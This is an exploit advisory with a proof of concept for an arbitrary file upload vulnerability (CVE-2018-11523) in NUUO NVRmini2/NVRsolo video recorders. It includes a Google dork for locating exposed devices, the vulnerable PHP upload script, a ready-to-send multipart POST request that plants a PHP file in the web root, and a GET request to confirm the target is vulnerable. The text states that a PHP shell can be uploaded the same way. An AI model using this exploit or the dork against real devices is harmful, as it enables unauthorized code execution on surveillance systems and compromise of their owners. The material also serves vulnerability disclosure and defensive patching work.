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# Exploit Title: NUUO NVRmini2 / NVRsolo Arbitrary File Upload Vulnerability # Google Dork: intitle:NUUO Network Video Recorder Login # Date: 2018-05-20 # Exploit Author: M3@Pandas # Vendor Homepage: http://www.nuuo.com # Software Link: N/A # Version: all # Tested on: PHP Linux # CVE : CVE-2018-11523 ========================== Advisory: NUUO NVRmini2 / NVRsolo Arbitrary File Upload Vulnerability Author: M3@pandas From DBAppSecurity Affected Version: All ========================== Vulnerability Description ========================== Recetly, I found an Arbitrary File Upload Vulnerability in 'NUUO NVRmini2' program, NVRmini2 is widely used all over the world. Vulnerable cgi: /upload.php <?php //echo $_FILES['userfile']['type']; //echo ":"; //echo $_FILES['userfile']['size']; //echo ":"; //echo urldecode($_FILES['userfile']['name']); //echo ":"; //echo $_FILES['userfile']['tmp_name']; //echo ":"; //echo $_FILES['userfile']['error']; //echo ":"; echo $_FILES['userfile']['name']; copy($_FILES["userfile"]["tmp_name"],$_FILES['userfile']['name']); ?> As the code above, no any filter, so we can upload a php shell directly to the web server. ========================== POCEXP ========================== 1. Upload 'nuuonvr.php' to web root path: POST /upload.php HTTP/1.1 Host: 192.168.10.1 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: multipart/form-data; boundary=--------969849961 Content-Length: 162 ----------969849961 Content-Disposition: form-data; name="userfile"; filename="nuuonvr.php" ?php phpinfo();@unlink(__FILE__);? ----------969849961-- 2. Check if the php file is uploaded successfully: GET http://192.168.10.1/nuuonvr.php If the page returns phpinfo info, target is vulnerable! |
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